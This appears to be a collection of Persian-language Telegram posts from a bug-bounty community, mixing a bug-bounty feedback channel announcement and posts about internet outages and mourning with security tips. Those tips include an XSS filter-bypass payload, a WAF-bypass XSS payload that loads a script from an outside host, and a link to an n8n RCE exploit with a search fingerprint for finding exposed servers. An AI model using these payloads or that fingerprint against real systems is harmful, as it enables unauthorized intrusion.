با عرض سلام خدمت همه‌ی عزیزان

علیرغم وجود اسکم‌ها و مشکلات متعدد در برخی برنامه‌های باگ‌بانتی ایرانی و خارجی، تصمیم گرفتم این کانال رو راه‌اندازی کنم تا بتونیم تجربه‌های واقعی بچه های امنیت کار رو از همکاری با این برنامه‌ها در یکجا جمع‌آوری کنم.

هدف من و ادمین های عزیز اینه که بعد از بررسی و اطمینان از صحت گزارش‌ها، اون‌ها رو در اختیار عموم قرار بدیم تا سایر دوستان وقت، انرژی و تخصصشون رو بی‌دلیل تلف نکنن و بتونن آگاهانه‌تر وارد این حوزه یا کار روی برنامه خاصی بشن .

این کانال متعلق به همه‌ی شماست — جایی برای شفافیت، تجربه‌محوری و حمایت از جامعه امنیتی کشور. ⚡️

https://news.1rj.ru/str/bugbountyfeedback

Found an XSS bypass during a bug bounty:
Backend was only stripping quotes ("), so payload like:

<s"vg o"nload=al"ert() />

turns into a valid:

<noscript onload=alert()>

🚨 Never rely on poor input filtering!

#BugBounty #CyberSecurity

⭐️ @RadvanSec

https://portswigger.net/research/top-10-web-hacking-techniques-of-2025-nominations-open

⭐️ @RadvanSec

#Bypass Imperva, Akamai and CloudFlare WAF

=> Prepend with 50 chars then use

1"><A HRef=%26quot AutoFocus OnFocus%0C={import(/https:X55.is/.source)}>

PoC: x55.is/brutelogic/xss…

⭐️ @RadvanSec

روزهای خیلی خوبی میاد … شک نکنید

n8n Ni8mare - Unauthenticated Arbitrary File Read to RCE Chain
https://github.com/Chocapikk/CVE-2026-21858

fofa:icon_hash="-831756631"

⭐️ @RadvanSec

#176
تسلیت 🕊️🖤

سلام دوستان به امید فردایی بهتر❤️

متاسفانه اولویت همگانی شده کسی بخواد کار کنه تو این وضعیت واقعا کار سخت و دشواری شده

شب همگی بخیر

اونایی که وصلن هکرای خوبی میشن😁

کاش اینترنتم وصل نمیشد یکسری چیزارو نمیدیدم

ایران تسلیت🖤

بچه ها تسلیت میگم🖤🙏

بچه ها کانال اینترنت ازاد پروکسی ای چیزی داشتید بفرستید لینک کانالارو و یا کانفیگ رو داخل کانال قرار بدم

چنل من هست
@SizVPN

کاش

من واقعا از ناراحتی خواب به چشمم نمیاد چه کسایی از دوستانمون بودن که دیگه قرار نیست آنلاین بشن💔